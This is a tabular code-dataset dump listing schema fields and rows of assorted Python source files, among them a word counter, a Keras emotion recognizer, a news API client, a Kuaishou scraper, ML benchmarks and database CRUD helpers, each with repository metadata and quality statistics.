hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
cdb91795db8c176b9e6d1d2b0ffc0bc2b063adbd
857
py
Python
Lessons/Chapter9Exercise1.py
Luderio/Scientific-Computing-with-Python
c7eebcc3b46b68b3d5c08ad25fb802ae9ff42f7f
[ "MIT" ]
null
null
null
Lessons/Chapter9Exercise1.py
Luderio/Scientific-Computing-with-Python
c7eebcc3b46b68b3d5c08ad25fb802ae9ff42f7f
[ "MIT" ]
null
null
null
Lessons/Chapter9Exercise1.py
Luderio/Scientific-Computing-with-Python
c7eebcc3b46b68b3d5c08ad25fb802ae9ff42f7f
[ "MIT" ]
null
null
null
wordCounter = dict() while True : inputFile = input('Enter a file: ') try : fileName = open(inputFile) except : fileName = 'invalid' if fileName == 'invalid' : if inputFile == 'done' : break else : print('Invalid Input') continue ...
25.969697
70
0.574096
79
857
6.227848
0.493671
0.060976
0.069106
0
0
0
0
0
0
0
0
0.003527
0.33839
857
32
71
26.78125
0.864198
0
0
0.074074
0
0
0.074766
0
0
0
0
0
0
1
0
false
0
0
0
0
0.111111
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdb943e87aa2338b8600a2d1fc39c5fdf842f690
1,022
py
Python
iris/cli/help.py
kpanic/lymph
5681de5e65ee72efb96012608fc5189a48adafcd
[ "Apache-2.0" ]
null
null
null
iris/cli/help.py
kpanic/lymph
5681de5e65ee72efb96012608fc5189a48adafcd
[ "Apache-2.0" ]
null
null
null
iris/cli/help.py
kpanic/lymph
5681de5e65ee72efb96012608fc5189a48adafcd
[ "Apache-2.0" ]
null
null
null
from iris.cli.base import Command, format_docstring, get_command_class HELP = format_docstring(""" Usage: iris [options] <command> [<args>...] Iris is the personification of the rainbow and messenger of the gods. {COMMON_OPTIONS} Commands: instance Run a single service instance (one process). node Run ...
26.894737
77
0.671233
133
1,022
5.082707
0.556391
0.044379
0.044379
0.079882
0.091716
0
0
0
0
0
0
0
0.251468
1,022
37
78
27.621622
0.88366
0.027397
0
0
0
0
0.641104
0
0
0
0
0
0
1
0.041667
false
0
0.041667
0
0.208333
0.083333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cdb9f5699b06eaa0f164fb54a701bb1fdb951c1f
3,321
py
Python
src/Featurizers/DateTimeFeaturizerData/Tools/JsonGenerator.py
Bhaskers-Blu-Org2/FeaturizersLibrary
229ae38ea233bfb02a6ff92ec3a67c1751c58005
[ "MIT" ]
15
2019-12-14T07:54:18.000Z
2021-03-14T14:53:28.000Z
src/Featurizers/DateTimeFeaturizerData/Tools/JsonGenerator.py
Lisiczka27/FeaturizersLibrary
dc7b42abd39589af0668c896666affb4abe8a622
[ "MIT" ]
30
2019-12-03T20:58:56.000Z
2020-04-21T23:34:39.000Z
src/Featurizers/DateTimeFeaturizerData/Tools/JsonGenerator.py
Lisiczka27/FeaturizersLibrary
dc7b42abd39589af0668c896666affb4abe8a622
[ "MIT" ]
13
2020-01-23T00:18:47.000Z
2021-10-04T17:46:45.000Z
# ---------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License # ---------------------------------------------------------------------- """Generates JSON files based on data previously pickled""" import lzma import o...
34.957895
82
0.504065
291
3,321
5.597938
0.463918
0.022099
0.034991
0.028238
0.081031
0.081031
0.081031
0.056476
0
0
0
0
0.197531
3,321
94
83
35.329787
0.611257
0.336344
0
0
0
0
0.078657
0
0
0
0
0
0
1
0.034483
false
0.017241
0.172414
0
0.241379
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdba82790169d516d43e4d1c83b7c0a26c10e1fe
7,152
py
Python
fer.py
MahmoudSabra1/Emotion-recognition-song-recommendation
5cad8413b6c98cee12798334009fe8942a420527
[ "MIT" ]
11
2020-11-11T14:52:05.000Z
2022-03-11T11:37:42.000Z
fer.py
MahmoudSabra1/Emotion-recognition-song-recommendation
5cad8413b6c98cee12798334009fe8942a420527
[ "MIT" ]
1
2021-06-21T06:42:59.000Z
2021-06-21T06:42:59.000Z
fer.py
MahmoudSabra1/Emotion-recognition-song-recommendation
5cad8413b6c98cee12798334009fe8942a420527
[ "MIT" ]
7
2021-01-26T03:40:12.000Z
2021-12-20T12:24:34.000Z
# Two lines that remove tensorflow GPU logs # import os # os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import numpy as np import pandas as pd import matplotlib.pyplot as plt from keras.optimizers import Adam from keras.models import Sequential, model_from_json from keras.layers import Conv2D, MaxPooling2D, Dense, Flatten,...
32.216216
115
0.65646
1,028
7,152
4.38035
0.224708
0.055074
0.046414
0.053742
0.408616
0.349545
0.310904
0.271597
0.257384
0.249167
0
0.025919
0.201622
7,152
221
116
32.361991
0.762697
0.085011
0
0.251701
0
0
0.100936
0
0
0
0
0
0
1
0.068027
false
0
0.061224
0
0.163265
0.054422
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdbc9720aa5c6f9258b24ce41fb35960b581a3f8
705
py
Python
manual.py
Taschenbergerm/bgg_miner
f20057ec2e85e20ad08f92514ce38c699e8c85eb
[ "MIT" ]
null
null
null
manual.py
Taschenbergerm/bgg_miner
f20057ec2e85e20ad08f92514ce38c699e8c85eb
[ "MIT" ]
null
null
null
manual.py
Taschenbergerm/bgg_miner
f20057ec2e85e20ad08f92514ce38c699e8c85eb
[ "MIT" ]
null
null
null
from pprint import pprint import requests from lxml import etree def itter(tree): for ele in tree.iter(): print("##########################") print("Tag:", ele.tag) print("Text:", ele.text) print("Attributes:", ele.attrib) print("##########################") def main(): ...
27.115385
68
0.591489
82
705
4.97561
0.52439
0.095588
0.044118
0.058824
0.137255
0.137255
0
0
0
0
0
0.024605
0.192908
705
25
69
28.2
0.692443
0.087943
0
0.1
0
0
0.202808
0.081123
0
0
0
0
0
1
0.1
false
0
0.15
0
0.25
0.45
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
1
cdbd2bded66eee36ec46ada4de75a010512f317b
2,962
py
Python
app/requests.py
gabrielcoder247/News-Highlight-v2
595f4ee9739b173142d1012bdda63526818930e4
[ "Unlicense" ]
null
null
null
app/requests.py
gabrielcoder247/News-Highlight-v2
595f4ee9739b173142d1012bdda63526818930e4
[ "Unlicense" ]
null
null
null
app/requests.py
gabrielcoder247/News-Highlight-v2
595f4ee9739b173142d1012bdda63526818930e4
[ "Unlicense" ]
null
null
null
import urllib.request,json from .models import Source,Article from . import main # Getting Api Key api_Key = None #Getting the base urls sources_base_url = None articles_base_url = None def configure_request(app): ''' Function to acquire the api key and base urls ''' global api_Key,sources_base_url,articles_base_...
30.854167
85
0.778528
416
2,962
5.278846
0.173077
0.038251
0.044627
0.02459
0.310565
0.234062
0.116576
0.082878
0.082878
0.082878
0
0
0.135044
2,962
96
86
30.854167
0.857143
0.219109
0
0
0
0
0.072188
0.019043
0
0
0
0
0
1
0.089286
false
0
0.053571
0
0.214286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdc3ceae4eb0b0fc7a29f9482fb7047dcfef58b4
727
py
Python
main.py
csmyth93/solo_scoring
6c1a32a3430058aa7d51be604dcc02d11ce85edd
[ "MIT" ]
null
null
null
main.py
csmyth93/solo_scoring
6c1a32a3430058aa7d51be604dcc02d11ce85edd
[ "MIT" ]
null
null
null
main.py
csmyth93/solo_scoring
6c1a32a3430058aa7d51be604dcc02d11ce85edd
[ "MIT" ]
null
null
null
def get_names(): names = [] while True: name = input("Enter players name: ") if name != 'done': print(f'{name} added to the list of players') names.append(name) continue else: break return names def get_player_scores(players): for...
22.71875
63
0.515818
78
727
4.628205
0.448718
0.033241
0.094183
0.127424
0
0
0
0
0
0
0
0
0.389271
727
31
64
23.451613
0.813063
0
0
0.296296
0
0
0.141678
0
0
0
0
0
0
1
0.074074
false
0
0
0
0.148148
0.111111
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdc3dc53bc12e7691159632083c1b94dc1973dac
74
py
Python
tests/unit/conftest.py
fourTheorem/slic-slack
cffc870c2399feff67199050460abdcb3385ef17
[ "Apache-2.0" ]
4
2022-01-14T15:47:55.000Z
2022-01-14T16:15:18.000Z
tests/unit/conftest.py
fourTheorem/slic-slack
cffc870c2399feff67199050460abdcb3385ef17
[ "Apache-2.0" ]
null
null
null
tests/unit/conftest.py
fourTheorem/slic-slack
cffc870c2399feff67199050460abdcb3385ef17
[ "Apache-2.0" ]
null
null
null
import os os.environ['SLACK_WEBHOOK_URL'] = 'https://example.com/slack'
14.8
61
0.72973
11
74
4.727273
0.818182
0
0
0
0
0
0
0
0
0
0
0
0.094595
74
4
62
18.5
0.776119
0
0
0
0
0
0.575342
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
cdc442d6b9ce4b9876165256e71bc1dbffd0f620
760
py
Python
python/twisted/web_echo.py
y2ghost/work
b7f5b02db9dc0df6157bc799ddb4a1ac9d574cf3
[ "MIT" ]
null
null
null
python/twisted/web_echo.py
y2ghost/work
b7f5b02db9dc0df6157bc799ddb4a1ac9d574cf3
[ "MIT" ]
null
null
null
python/twisted/web_echo.py
y2ghost/work
b7f5b02db9dc0df6157bc799ddb4a1ac9d574cf3
[ "MIT" ]
null
null
null
from twisted.protocols import basic from twisted.internet import protocol, reactor class HTTPEchoProtocol(basic.LineReceiver): def __init__(self): self.lines = [] def lineReceived(self, line): self.lines.append(line.decode()) if not line: self.sendResponse() def sendRe...
27.142857
68
0.661842
86
760
5.802326
0.546512
0.054108
0.052104
0.016032
0
0
0
0
0
0
0
0.015126
0.217105
760
27
69
28.148148
0.823529
0
0
0
0
0
0.047431
0
0.047619
0
0
0
0
1
0.190476
false
0
0.095238
0.047619
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdc5a62dbf81299334c3372e259e1e6b484185cd
2,804
py
Python
app01/tools.py
xinxinliang/ksDjango
0c0f4a5842cf225e77035b716979fcf9b8d03311
[ "Apache-2.0" ]
13
2021-03-11T12:35:29.000Z
2022-02-25T02:22:47.000Z
app01/tools.py
xinxinliang/ksDjango
0c0f4a5842cf225e77035b716979fcf9b8d03311
[ "Apache-2.0" ]
1
2021-11-04T03:02:10.000Z
2021-11-04T03:02:10.000Z
app01/tools.py
xinxinliang/ksDjango
0c0f4a5842cf225e77035b716979fcf9b8d03311
[ "Apache-2.0" ]
4
2021-06-12T19:27:01.000Z
2022-02-04T05:13:54.000Z
import requests import json import os import time from app01.models import UserTitle # 爬取个人主页关注用户的id和naame URL = "https://video.kuaishou.com/graphql" headers = { "accept":"*/*", "Content-Length":"<calculated when request is sent>", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", "co...
43.8125
760
0.696148
277
2,804
6.898917
0.498195
0.027211
0.03349
0.032967
0
0
0
0
0
0
0
0.069111
0.153709
2,804
64
761
43.8125
0.736199
0.015692
0
0
0
0.041667
0.603048
0.33164
0
0
0
0
0
1
0.0625
false
0
0.104167
0
0.1875
0.083333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cdc5fa09b3e8bd5d035d3ebb8b21feb4b7b64279
2,183
py
Python
core/thirdparty/load_openpose.py
jshuhnow/OddEyeCam
ed76cd1c29701b7b49f20bcd61e7e72d3140fda8
[ "MIT" ]
8
2020-10-08T13:32:33.000Z
2021-12-08T10:59:03.000Z
core/thirdparty/load_openpose.py
jshuhnow/OddEyeCam
ed76cd1c29701b7b49f20bcd61e7e72d3140fda8
[ "MIT" ]
null
null
null
core/thirdparty/load_openpose.py
jshuhnow/OddEyeCam
ed76cd1c29701b7b49f20bcd61e7e72d3140fda8
[ "MIT" ]
1
2021-04-15T23:50:13.000Z
2021-04-15T23:50:13.000Z
import os import sys this_dir = os.path.dirname(__file__) import numpy as np openpose_path = os.path.join(this_dir, 'openpose') op_release_path = os.path.join(openpose_path, 'Release') model_path = os.path.join(openpose_path, 'models') print(op_release_path) sys.path.append(op_release_path); os.environ['PATH'] = os.e...
35.209677
107
0.639487
295
2,183
4.566102
0.328814
0.025984
0.022272
0.03118
0.200445
0.200445
0.161841
0.129176
0.129176
0.129176
0
0.041812
0.211177
2,183
62
108
35.209677
0.740418
0.150252
0
0.204082
0
0
0.082792
0
0
0
0
0
0
1
0.081633
false
0
0.081633
0
0.265306
0.020408
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdc633f283f26d40a91533035d25cbe1abaa2d61
11,193
py
Python
pybench/benchmarks/benchmark_ml.py
pentschev/pybench
89d65a6c418a1fee39d447bd11b8a999835b74a9
[ "Apache-2.0" ]
14
2019-06-29T19:19:10.000Z
2022-03-31T06:40:33.000Z
pybench/benchmarks/benchmark_ml.py
pentschev/pybench
89d65a6c418a1fee39d447bd11b8a999835b74a9
[ "Apache-2.0" ]
2
2019-07-23T22:06:37.000Z
2019-08-19T22:15:32.000Z
pybench/benchmarks/benchmark_ml.py
pentschev/pybench
89d65a6c418a1fee39d447bd11b8a999835b74a9
[ "Apache-2.0" ]
5
2019-07-23T14:48:48.000Z
2020-04-01T08:43:00.000Z
import pytest import importlib import numba, numba.cuda import numpy as np from pybench import run_benchmark _shapes = { "small": [(int(2 ** 14), 512), (int(2 ** 15), 512), (int(2 ** 16), 512)], "large": [(int(2 ** 20), 512), (int(2 ** 21), 512), (int(2 ** 22), 512)], } def load_data(nrows, ncols, cached, ...
26.841727
82
0.54132
1,298
11,193
4.520801
0.131741
0.046353
0.096626
0.067485
0.726483
0.686605
0.65985
0.65985
0.659509
0.640763
0
0.016055
0.298847
11,193
416
83
26.90625
0.731651
0.005807
0
0.574924
0
0
0.170861
0.006651
0
0
0
0
0
1
0.061162
false
0
0.085627
0
0.155963
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cdc72216af29eaceb6c114484063fc2831f99596
420
py
Python
ABC127C/resolve.py
staguchi0703/problems_easy
82804b99b3ce8104762c3f6f5cc60b009a17bdc8
[ "MIT" ]
null
null
null
ABC127C/resolve.py
staguchi0703/problems_easy
82804b99b3ce8104762c3f6f5cc60b009a17bdc8
[ "MIT" ]
null
null
null
ABC127C/resolve.py
staguchi0703/problems_easy
82804b99b3ce8104762c3f6f5cc60b009a17bdc8
[ "MIT" ]
null
null
null
def resolve(): ''' code here ''' N , M = [int(item) for item in input().split()] LRs = [[int(item) for item in input().split()] for _ in range(M)] L_max = 0 R_min = N for L, R in LRs: L_max = max(L_max, L) R_min = min(R_min, R) delta = R_min - L_max if delta >=...
16.8
69
0.490476
66
420
2.863636
0.393939
0.084656
0.10582
0.148148
0.275132
0.275132
0.275132
0
0
0
0
0.014815
0.357143
420
24
70
17.5
0.685185
0.021429
0
0
0
0
0.020253
0
0
0
0
0
0
1
0.066667
false
0
0
0
0.066667
0.133333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdc9ffbc19062cc077e25fb215d33c0447db75e0
7,109
py
Python
om10/plotting.py
drphilmarshall/OM10
009c16f0ef4e1c5f8f78c78df3c7711b7be24938
[ "MIT" ]
5
2017-02-17T19:43:54.000Z
2021-05-19T09:30:53.000Z
om10/plotting.py
drphilmarshall/OM10
009c16f0ef4e1c5f8f78c78df3c7711b7be24938
[ "MIT" ]
55
2015-02-06T19:25:58.000Z
2021-03-09T07:57:04.000Z
om10/plotting.py
drphilmarshall/OM10
009c16f0ef4e1c5f8f78c78df3c7711b7be24938
[ "MIT" ]
16
2015-01-29T23:55:45.000Z
2021-04-16T03:06:38.000Z
# ====================================================================== # Globally useful modules, imported here and then accessible by all # functions in this file: from __future__ import print_function # Fonts, latex: import matplotlib matplotlib.rc('font',**{'family':'serif', 'serif':['TimesNewRoman']}) matplotli...
30.251064
115
0.549163
904
7,109
4.253319
0.320796
0.052016
0.011443
0.025748
0.212484
0.183875
0.138362
0.138362
0.111313
0.111313
0
0.024881
0.231115
7,109
234
116
30.380342
0.678558
0.319032
0
0.169643
0
0
0.177336
0
0
0
0
0
0
1
0.026786
false
0
0.035714
0
0.080357
0.044643
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdcae84167fb352d7727b5d25c865135e36f6d5e
25,254
py
Python
applications/EsteEuQuero/models/produto.py
vgcarvpro/vgcarvpro
16d720cb49f02e4f859c27901360b34681e986c0
[ "BSD-3-Clause" ]
null
null
null
applications/EsteEuQuero/models/produto.py
vgcarvpro/vgcarvpro
16d720cb49f02e4f859c27901360b34681e986c0
[ "BSD-3-Clause" ]
null
null
null
applications/EsteEuQuero/models/produto.py
vgcarvpro/vgcarvpro
16d720cb49f02e4f859c27901360b34681e986c0
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- def produtos(): prod = [["Rack de Teto Uno 2010 2011 2012 2013 2014 2015 a 2020 Preto", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&Mar...
5,050.8
25,197
0.818405
3,551
25,254
5.67474
0.101943
0.023473
0.034142
0.044812
0.800407
0.799414
0.799414
0.797727
0.797727
0.797727
0
0.112184
0.036034
25,254
4
25,198
6,313.5
0.715454
0.000832
0
0
0
16.333333
0.974476
0.719829
0
0
0
0
0
1
0.333333
false
0
0
0
0.333333
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
1
1
1
0
0
0
0
0
1
1
1
null
0
0
0
0
0
1
0
0
0
0
0
0
0
13
cdcc403733cc344ed109e0132f133aabd50b5dc1
1,213
py
Python
rpython/jit/backend/muvm/registers.py
wdv4758h/mu-client-pypy
d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf
[ "Apache-2.0", "OpenSSL" ]
null
null
null
rpython/jit/backend/muvm/registers.py
wdv4758h/mu-client-pypy
d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf
[ "Apache-2.0", "OpenSSL" ]
null
null
null
rpython/jit/backend/muvm/registers.py
wdv4758h/mu-client-pypy
d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf
[ "Apache-2.0", "OpenSSL" ]
null
null
null
""" Modified version of ../muvm/registers.py. Will update as needed. """ #from rpython.jit.backend.arm.locations import VFPRegisterLocation #from rpython.jit.backend.arm.locations import SVFPRegisterLocation #from rpython.jit.backend.arm.locations import RegisterLocation from rpython.jit.metainterp.history import (Cons...
25.270833
72
0.650453
143
1,213
5.286713
0.41958
0.058201
0.074074
0.083333
0.271164
0.271164
0.154762
0
0
0
0
0.005507
0.251443
1,213
47
73
25.808511
0.827093
0.15911
0
0.193548
0
0
0
0
0
0
0
0
0.032258
0
null
null
0
0.032258
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
cdcc7612e16b3989892d1765ee8591ffd8c61843
1,536
py
Python
src/database/CRUD/create.py
gregory-chekler/api
11ecbea945e7eb6fa677a0c0bb32bda51ba15f28
[ "MIT" ]
2
2020-07-24T12:58:17.000Z
2020-12-17T02:26:13.000Z
src/database/CRUD/create.py
gregory-chekler/api
11ecbea945e7eb6fa677a0c0bb32bda51ba15f28
[ "MIT" ]
214
2019-06-26T17:33:54.000Z
2022-03-26T00:02:34.000Z
src/database/CRUD/create.py
massenergize/portalBackEnd
7ed971b2be13901667a216d8c8a46f0bed6d6ccd
[ "MIT" ]
6
2020-03-13T20:29:06.000Z
2021-08-20T16:15:08.000Z
""" This file contains code to post data from the database. This is meant to centralize the insertion of data into the database so that multiple apps can call on the methods in this file without having to define their own and to prevent code redundancy. """ from ..models import * from ..utils.common import ensure_re...
25.180328
76
0.76888
201
1,536
5.791045
0.313433
0.056701
0.226804
0.217354
0.074742
0.074742
0
0
0
0
0
0
0.143229
1,536
60
77
25.6
0.884498
0.163411
0
0.083333
0
0
0
0
0
0
0
0
0
1
0.305556
false
0
0.083333
0
0.694444
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
4
cdccadfab450a4e9a57ce9f5439e430bde2038d3
527
py
Python
tfutils/losses/losses.py
njchiang/tf-keras-utils
6ea5e51ef3ca5729fbc71bf3cffecf4faec033dd
[ "MIT" ]
null
null
null
tfutils/losses/losses.py
njchiang/tf-keras-utils
6ea5e51ef3ca5729fbc71bf3cffecf4faec033dd
[ "MIT" ]
null
null
null
tfutils/losses/losses.py
njchiang/tf-keras-utils
6ea5e51ef3ca5729fbc71bf3cffecf4faec033dd
[ "MIT" ]
null
null
null
# this actually won't work with keras... not exactly a keras utility import tensorflow as tf def ae_loss_fn(model, x, y, training=None): pred = model(x, training) mse = tf.keras.losses.MSE(y, pred) return tf.reduce_mean(mse), pred # function is untested def vae_loss_fn(model, x, y, training=None): z, ...
35.133333
68
0.660342
94
527
3.62766
0.5
0.052786
0.064516
0.070381
0.269795
0.269795
0.146628
0
0
0
0
0.009456
0.197343
527
15
69
35.133333
0.79669
0.165085
0
0
0
0
0
0
0
0
0
0
0
1
0.181818
false
0
0.090909
0
0.454545
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdccf6c01653163bb8ca38561bfba641eb360f29
834
py
Python
src/data_generator/vocab_builder.py
luciencho/jddc_solo
efddf0885d5e3c640835874f70d57d25123de141
[ "BSD-3-Clause" ]
null
null
null
src/data_generator/vocab_builder.py
luciencho/jddc_solo
efddf0885d5e3c640835874f70d57d25123de141
[ "BSD-3-Clause" ]
null
null
null
src/data_generator/vocab_builder.py
luciencho/jddc_solo
efddf0885d5e3c640835874f70d57d25123de141
[ "BSD-3-Clause" ]
null
null
null
# coding:utf-8 from __future__ import unicode_literals from __future__ import division from __future__ import print_function import os from src.utils import utils from src.data_generator import vocabulary def process(hparam): utils.raise_inexistence(hparam.tmp_dir) tokenizer = vocabulary.Tokenizer(segment=h...
33.36
81
0.713429
121
834
4.619835
0.363636
0.096601
0.128801
0.143113
0.245081
0.245081
0.205725
0.148479
0
0
0
0.001451
0.173861
834
24
82
34.75
0.809869
0.014388
0
0
0
0
0.056098
0
0
0
0
0
0
1
0.052632
false
0
0.315789
0
0.368421
0.052632
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
cdd4efc2e23f55bb4467b8c8df8e0d1cdd72fa3d
419
py
Python
xas/queries/elastic.py
neuromore/msgxc
e74565a7991d80e5951ef22452521bcbca27fc92
[ "Apache-2.0" ]
1
2020-03-30T22:14:21.000Z
2020-03-30T22:14:21.000Z
xas/queries/elastic.py
neuromore/msgxc
e74565a7991d80e5951ef22452521bcbca27fc92
[ "Apache-2.0" ]
12
2020-04-15T00:00:49.000Z
2022-02-27T01:26:08.000Z
xas/queries/elastic.py
neuromore/msgxc
e74565a7991d80e5951ef22452521bcbca27fc92
[ "Apache-2.0" ]
4
2020-01-16T11:29:38.000Z
2020-04-03T09:43:40.000Z
from elasticsearch import Elasticsearch # TODO: Not implemented yet es = Elasticsearch(["localhost"], sniff_on_connection_fail=True, sniffer_timeout=60) def threads_all(): res = es.search(index="mthreads", body={"query": {"match_all": {}}}) print("Got %d Hits:" % res['hits']['total']) # for hit in res['hi...
38.090909
84
0.649165
55
419
4.818182
0.745455
0.05283
0
0
0
0
0
0
0
0
0
0.00565
0.155131
419
11
85
38.090909
0.742938
0.291169
0
0
0
0
0.176871
0
0
0
0
0.090909
0
1
0.166667
false
0
0.166667
0
0.5
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
